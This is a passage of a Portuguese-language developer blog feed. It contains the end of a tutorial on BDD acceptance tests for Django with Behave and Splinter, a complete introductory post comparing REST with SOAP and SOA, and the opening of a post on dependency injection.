    context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Browser&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;server_url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;http://localhost:8000&apos;&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;after_all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! O contexto dos nossos testes tem a propriedade &lt;code class=&quot;language-text&quot;&gt;browser&lt;/code&gt;, que é a instância do &lt;em&gt;Splinter&lt;/em&gt;
para execução dos testes de interface.&lt;/p&gt;
&lt;p&gt;As &lt;em&gt;specs&lt;/em&gt; executarão com o &lt;em&gt;Firefox&lt;/em&gt;, por padrão. Caso queira alterar o navegador,
basta especificá-lo na instância de &lt;code class=&quot;language-text&quot;&gt;Browser&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Browser&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;chrome&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Dado um determinado cenário&lt;/h2&gt;
&lt;p&gt;Vamos escrever o código &lt;em&gt;Python&lt;/em&gt; necessário para atender a seguinte condição:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Given an authenticated user&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para isso, criaremos um &lt;em&gt;step&lt;/em&gt; específico para autenticação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# features/steps/auth.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; behave &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; given
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contrib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;models &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; User


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@given&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;an authenticated user&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;given_auth_user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    User&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_superuser&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;username&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; email&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;foo@bar&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; password&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    br &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser
    br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;visit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;base_url &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/admin/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fill&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;username&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fill&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;password&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find_by_css&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.submit-row input&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;click&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O código acima é simples e objetivo. Através do &lt;em&gt;decorator&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;@given&lt;/code&gt; associamos um determinado
pedaço de código &lt;em&gt;Python&lt;/em&gt; a um trecho das histórias escritas em &lt;code class=&quot;language-text&quot;&gt;.feature&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Rodando o &lt;code class=&quot;language-text&quot;&gt;behave&lt;/code&gt;, teremos uma saída similar a essa:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py behave

Creating test database for alias &apos;default&apos;...
Feature: Logged in page # features/home-logada.feature:1

    Scenario: Access index page    # features/home-logada.feature:3
    Given an authenticated user    # features/steps/auth.py:5 0.646s
    When I access the home page    # None
    Then I see my username printed # None&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O motor de testes, além de identificar e executar o trecho de código necessário
para contemplar uma expressão, exibe o tempo de execução da mesma.&lt;/p&gt;
&lt;h2&gt;Quando alguma coisa acontece&lt;/h2&gt;
&lt;p&gt;Vamos para a parte onde o usuário interage com a aplicação.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# features/steps/actions.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; behave &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; when


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@when&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;I access the home page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;access_the_home_page&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    br &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser
    br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;visit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;base_url &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Aqui começa a ficar mais evidente o funcionamento de &lt;em&gt;steps&lt;/em&gt;. Se amanhã
eu precisar de um novo cenário onde é necessário acessar a página inicial,
eu posso aproveitar o &lt;code class=&quot;language-text&quot;&gt;when&lt;/code&gt; criado acima. O &lt;em&gt;Behave&lt;/em&gt; fará isso automaticamente
para você... Portanto, organizar os &lt;em&gt;steps&lt;/em&gt; de uma forma que eles agrupem
um determinado grupo de ações é uma sugestão interessante.&lt;/p&gt;
&lt;h2&gt;Então eu espero algum resultado&lt;/h2&gt;
&lt;p&gt;E para finalizar o nosso exemplo, vamos para o &lt;em&gt;decorator&lt;/em&gt; de &lt;code class=&quot;language-text&quot;&gt;@then&lt;/code&gt;,
que é o passo onde validamos o resultado dos acontecimentos disparados por &lt;code class=&quot;language-text&quot;&gt;@when&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# features/steps/results.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; behave &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; then


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;I see my username printed&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;see_my_username&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    br &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser
    body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; br&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find_by_css&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;body&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello test!&apos;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Executamos nossas &lt;em&gt;specs&lt;/em&gt; e temos o seguinte resultado:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py behave

Creating test database for alias &apos;default&apos;...
Feature: Logged in page # features/home-logada.feature:1

    Scenario: Access index page      # features/home-logada.feature:3
    Given an authenticated user    # features/steps/auth.py:5 0.654s
    When I access the home page    # features/steps/actions.py:4 0.888s
    Then I see my username printed # features/steps/results.py:4 0.075s

1 feature passed, 0 failed, 0 skipped
1 scenario passed, 0 failed, 0 skipped
3 steps passed, 0 failed, 0 skipped, 0 undefined
Took 0m1.617s
Destroying test database for alias &apos;default&apos;...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Garantimos através dos cenários acima que, dado um usuário logado,
imprimiremos o seu &lt;em&gt;username&lt;/em&gt; na rota &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Behave&lt;/em&gt; é uma ótima ferramenta de &lt;em&gt;BDD&lt;/em&gt; para &lt;em&gt;Python&lt;/em&gt;. Sua integração
com o &lt;em&gt;Django&lt;/em&gt; e demais &lt;em&gt;frameworks&lt;/em&gt; é relativamente simples, o que só
aumenta a simpatia pela ferramenta.&lt;/p&gt;
&lt;p&gt;Já sofri muito com escrita de testes de aceitação com &lt;em&gt;Django&lt;/em&gt;. Não é
um veredicto, mas até o momento o sentimento é extremamente positivo em relação
ao casamento entre &lt;em&gt;Behave&lt;/em&gt; e &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://pythonhosted.org/behave/&quot;&gt;&lt;em&gt;Behave: Behavior-Driven Development, Python style&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mixxorz/behave-django&quot;&gt;&lt;em&gt;GitHub: behave-django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://splinter.readthedocs.org/en/latest/&quot;&gt;&lt;em&gt;Splinter: Tool for testing web applications using Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[REST - Parte 1]]></title><description><![CDATA[Em tempos onde os microservices ganham cada vez mais força, e aplicações de sucesso liberam a sua API para desenvolvedores construírem um…]]></description><link>https://klauslaube.com.br/2016/01/06/rest-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/01/06/rest-parte-1.html</guid><pubDate>Wed, 06 Jan 2016 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Em tempos onde os &lt;a href=&quot;http://www.infoq.com/br/news/2015/04/microservices-current-state&quot; title=&quot;O estado da arte em micro serviços&quot;&gt;microservices&lt;/a&gt; ganham cada vez mais força, e &lt;a href=&quot;https://dev.twitter.com/rest/public&quot; title=&quot;Conheça a API do Twitter&quot;&gt;aplicações de sucesso&lt;/a&gt; liberam a sua &lt;em&gt;API&lt;/em&gt; para desenvolvedores construírem um ecossistema ao redor delas, não considerar seguir boas práticas na construção de um serviço pode ser uma tomada de decisão arriscada, tanto no quesito do negócio, quanto no quesito técnico.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;Internet&lt;/em&gt; já passou por muita coisa quando o assunto é &lt;em&gt;API&lt;/em&gt;, desde a total falta de padrões até a criação de protocolos exageradamente complexos. O &lt;em&gt;REST&lt;/em&gt; vem como uma solução elegante que está longe de ser &quot;anárquica&quot;, porém mais longe ainda de ser complicada.&lt;/p&gt;
&lt;h2&gt;Serviços web podem ser burocráticos&lt;/h2&gt;
&lt;p&gt;Antes de mais nada é preciso dizer que a &quot;&lt;em&gt;internet&lt;/em&gt; é maior que a &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;&quot;. Ou seja, quando digo que você deveria utilizar &lt;em&gt;REST&lt;/em&gt;, estou sendo específico para um determinado tipo de solução na camada &lt;em&gt;HTTP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Quando falo sobre serviços na &lt;em&gt;web&lt;/em&gt;, automaticamente sou remetido a &lt;a href=&quot;https://en.wikipedia.org/wiki/Service-oriented_architecture&quot; title=&quot;Leia mais sobre SOA&quot;&gt;&lt;em&gt;SOA&lt;/em&gt;&lt;/a&gt; ou &lt;a href=&quot;https://pt.wikipedia.org/wiki/SOAP&quot; title=&quot;Leia mais sobre SOAP&quot;&gt;&lt;em&gt;SOAP&lt;/em&gt;&lt;/a&gt;. Até então, nunca consegui pensar nesses dois termos de forma dissociada, mas não é bem assim que as coisas funcionam...&lt;/p&gt;
&lt;p&gt;A Arquitetura Orientada a Serviço (SOA) é um padrão onde aplicações provém serviços para demais componentes através de protocolos de comunicação. Uma arquitetura &lt;em&gt;SOA&lt;/em&gt; vai além de definir uma &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_programming_interface&quot; title=&quot;Leia mais sobre API&quot;&gt;&lt;em&gt;API&lt;/em&gt;&lt;/a&gt;, ela define a interface em termos de protocolo e funcionalidade, provendo assim uma maior interoperabilidade do seu serviço.&lt;/p&gt;
&lt;p&gt;Mas o que necessariamente significa o termo &quot;serviço&quot;? Segundo o &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Open_Group&quot; title=&quot;Leia mais sobre o Open Group&quot;&gt;&lt;em&gt;Open Group&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is a logical representation of a repeatable business activity that has a specified outcome (e.g., check customer credit, provide weather data, consolidate drilling reports).
Is self-contained.
May be composed of other services.
Is a &quot;black box&quot; to consumers of the service.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Já o &lt;em&gt;SOAP&lt;/em&gt;, de forma bem resumida, é um protocolo que utiliza a linguagem de marcação &lt;em&gt;XML&lt;/em&gt; e baseia-se nos protocolos de comunicação &lt;em&gt;RPC&lt;/em&gt; e &lt;em&gt;HTTP&lt;/em&gt; para negociação e transmissão de mensagens. Quem já trabalhou com a tecnologia pode até duvidar, mas a sua premissa é simplicidade e independência de linguagem, modelo e transporte.&lt;/p&gt;
&lt;p&gt;Com o passar do tempo os termos acima ficaram estigmatizados por serem &quot;bloated&quot;. O excesso de &quot;corporativismo&quot; para construir um serviço e distribuir dados pode terminar em um processo muito bem documentado, porém, é uma &quot;carga&quot; de banda e desenvolvimento que nem sempre estamos dispostos a pagar.&lt;/p&gt;
&lt;p&gt;É aí que entra o &lt;em&gt;REST&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Serviços web podem ser simples&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;REpresentational State Transfer&lt;/em&gt; (&lt;em&gt;REST&lt;/em&gt;) é um estilo de arquitetura amplamente utilizado no desenvolvimento de serviços &lt;em&gt;web&lt;/em&gt;. Segundo o &lt;em&gt;InfoQ&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;REST é um conjunto de princípios que definem como Web Standards como HTTP e URIs devem ser usados (o que freqüentemente difere um pouco do que muitas pessoas atualmente fazem). A promessa é que se você aderir a princípios REST enquanto estiver desenhando sua aplicação, você terá um sistema que explora a arquitetura da Web em seu benefício.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, você não precisa de um programa específico no lado do &lt;em&gt;back-end&lt;/em&gt; e um &lt;em&gt;client&lt;/em&gt; exclusivo no &lt;em&gt;front-end&lt;/em&gt; para consumir serviços &lt;em&gt;REST&lt;/em&gt;... Basta lermos arquivos &lt;em&gt;XML&lt;/em&gt; ou &lt;em&gt;JSON&lt;/em&gt; utilizando os verbos (&lt;em&gt;GET&lt;/em&gt;, &lt;em&gt;POST&lt;/em&gt;, &lt;em&gt;PUT&lt;/em&gt; e &lt;em&gt;DELETE&lt;/em&gt;) do protocolo &lt;em&gt;HTTP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/59463921aa4b2519d11ccc59fd9e4978/b4294/soap-vs-rest-lawrence.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 93.75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAATABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAECAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB68XiXZCymoAf/8QAFxABAQEBAAAAAAAAAAAAAAAAAgEQEv/aAAgBAQABBQJMxxnFR1DMRlWf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwEf/8QAHBAAAQQDAQAAAAAAAAAAAAAAAQACETEQEiFi/9oACAEBAAY/AgCOlN9YbtEngQoRStNJFVn/xAAcEAACAgMBAQAAAAAAAAAAAAAAARFRITFBEKH/2gAIAQEAAT8hfMhcYoda73QmuLRdik+kfCi4KLGXw7fr/9oADAMBAAIAAwAAABCYzzz/xAAXEQEAAwAAAAAAAAAAAAAAAAARASAh/9oACAEDAQE/EIDaf//EABURAQEAAAAAAAAAAAAAAAAAACAh/9oACAECAQE/EKP/xAAcEAEBAQEAAgMAAAAAAAAAAAABEQAhUWFxgZH/2gAIAQEAAT8QXcV9BriRZKs5PjSRA40IqHgtnB9GH1ASp+OczAg0Z3XqMFSKR0PGh4N//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Considere o Martin Lawrence como seu dado (stackoverflow.com)&amp;quot;&quot;
        title=&quot;Considere o Martin Lawrence como seu dado (stackoverflow.com)&quot;
        src=&quot;/static/59463921aa4b2519d11ccc59fd9e4978/b4294/soap-vs-rest-lawrence.jpg&quot;
        srcset=&quot;/static/59463921aa4b2519d11ccc59fd9e4978/7809d/soap-vs-rest-lawrence.jpg 192w,
/static/59463921aa4b2519d11ccc59fd9e4978/4ecad/soap-vs-rest-lawrence.jpg 384w,
/static/59463921aa4b2519d11ccc59fd9e4978/b4294/soap-vs-rest-lawrence.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Considere o Martin Lawrence como seu dado (stackoverflow.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Na verdade, espera-se que o consumidor e produtor do serviço não possuam qualquer vínculo maior que o &quot;respeito&quot; ao contrato daquela determinada &lt;em&gt;API&lt;/em&gt;, reduzindo consideravelmente o consumo de banda, limitando o número de operações ao número de verbos do protocolo e evitando ambigüidade.&lt;/p&gt;
&lt;p&gt;Na &lt;strong&gt;parte 2&lt;/strong&gt; desse artigo iremos explorar de forma prática a utilização de &lt;em&gt;REST&lt;/em&gt; para a construção de uma &lt;em&gt;API&lt;/em&gt; na &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima...&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.infoq.com/br/articles/rest-introduction&quot;&gt;&lt;em&gt;InfoQ&lt;/em&gt;: Uma rápida introdução ao &lt;em&gt;REST&lt;/em&gt; &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.salesforce.com/page/REST_API&quot;&gt;&lt;em&gt;Salesfoce Developers: REST API&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/209905/representational-state-transfer-rest-and-simple-object-access-protocol-soap&quot;&gt;&lt;em&gt;Stackoverflow: Representational state transfer (REST) and Simple Object Access Protocol (SOAP)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://searchsoa.techtarget.com/definition/REST&quot;&gt;&lt;em&gt;TechTarget: REST (representational state transfer) definition&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webopedia.com/TERM/A/API.html&quot;&gt;&lt;em&gt;Webopedia: API - application program interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Service-oriented_architecture&quot; title=&quot;Leia sobre SOA no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia: Service-oriented Architecture&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/SOAP&quot;&gt;&lt;em&gt;Wikipedia: SOAP&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Injeção de Dependência]]></title><description><![CDATA[Se você já teve contato com Laravel
ou AngularJS, sabe muito bem que
um dos maiores motivos de orgulho desses (e de tantos outros…]]></description><link>https://klauslaube.com.br/2015/10/24/injecao-de-dependencia.html</link><guid isPermaLink="false">https://klauslaube.com.br/2015/10/24/injecao-de-dependencia.html</guid><pubDate>Sat, 24 Oct 2015 16:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Se você já teve contato com &lt;a href=&quot;http://laravel.com/&quot; title=&quot;PHP framework for web artisans&quot;&gt;&lt;em&gt;Laravel&lt;/em&gt;&lt;/a&gt;
ou &lt;a href=&quot;https://angularjs.org/&quot; title=&quot;HTML enhanced for web apps&quot;&gt;&lt;em&gt;AngularJS&lt;/em&gt;&lt;/a&gt;, sabe muito bem que
um dos maiores motivos de orgulho desses (e de tantos outros) &lt;em&gt;frameworks&lt;/em&gt;
é a &quot;Injeção de Dependência&quot;, ou do inglês, &lt;em&gt;Dependency Injection&lt;/em&gt;.
Imagine-se em uma reunião, o seu &lt;em&gt;Product Owner&lt;/em&gt; pede soluções para problemas
complexos, e você manda logo um &quot;precisamos usar injeções de dependências&quot;...
É aumento salarial na hora!&lt;/p&gt;
&lt;p&gt;Brincadeiras à parte, estou fazendo um curso de
&lt;a href=&quot;https://www.udemy.com/learn-angularjs/&quot; title=&quot;Aprenda AngularJS&quot;&gt;&lt;em&gt;AngularJS&lt;/em&gt; no &lt;em&gt;Udemy&lt;/em&gt;&lt;/a&gt;,
e toda vez que o professor se depara com uma palavra &quot;pomposa&quot;, ele para a
aula para fazer um &quot;big word alert&quot;.&lt;/p&gt;
&lt;p&gt;Resolvi copiar essa ideia e mostrar como esse conceito na verdade é relativamente simples.&lt;/p&gt;
&lt;h2&gt;Dependency Injection é um Design Pattern&lt;/h2&gt;
&lt;p&gt;Assim como &lt;a href=&quot;/2011/05/29/afinal-o-que-sao-closures.html&quot; title=&quot;Leia mais sobre Closures&quot;&gt;&lt;em&gt;Closures&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;/2011/08/02/decorators-em-python.html&quot; title=&quot;Leia mais sobre Decorators&quot;&gt;&lt;em&gt;Decorators&lt;/em&gt;&lt;/a&gt;,
